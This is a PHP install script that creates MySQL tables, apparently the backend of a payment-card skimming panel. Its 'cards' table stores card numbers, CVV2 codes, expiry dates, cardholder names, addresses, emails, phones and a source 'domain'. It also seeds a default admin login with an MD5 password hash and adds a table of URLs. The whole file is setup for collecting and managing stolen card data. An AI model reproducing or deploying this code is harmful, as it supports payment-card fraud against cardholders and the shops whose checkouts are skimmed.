<?php

include('./kernel/config.php');

@mysqli_query($connect,'CREATE TABLE IF NOT EXISTS `cards` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cnumber` varchar(100) NOT NULL,
  `owner` varchar(550) NOT NULL,
  `expires` varchar(50) NOT NULL,
  `cvv2` varchar(30) NOT NULL,
  `ctype` int(11) NOT NULL,
  `firstname` varchar(300) NOT NULL,
  `lastname` varchar(300) NOT NULL,
  `address` varchar(1000) NOT NULL,
  `country` varchar(50) NOT NULL,
  `state` varchar(200) NOT NULL,
  `city` varchar(200) NOT NULL,
  `email` varchar(300) NOT NULL,
  `postcode` varchar(150) NOT NULL,
  `street` varchar(300) NOT NULL,
  `phone` varchar(150) NOT NULL,
  `addtime` int(11) NOT NULL,
  `domain` varchar(300) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;');

@mysqli_query($connect,'CREATE TABLE IF NOT EXISTS `config` (
  `login` varchar(50) NOT NULL,
  `password` varchar(32) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;');

@mysqli_query($connect,"INSERT INTO `config` (`login`, `password`) VALUES
('YWRtaW4=', 'de88139c923cc30074db3a45a4ccd415');");

@mysqli_query($connect,'CREATE TABLE IF NOT EXISTS `urls` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `link` varchar(1500) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;');

?>
Successfully installed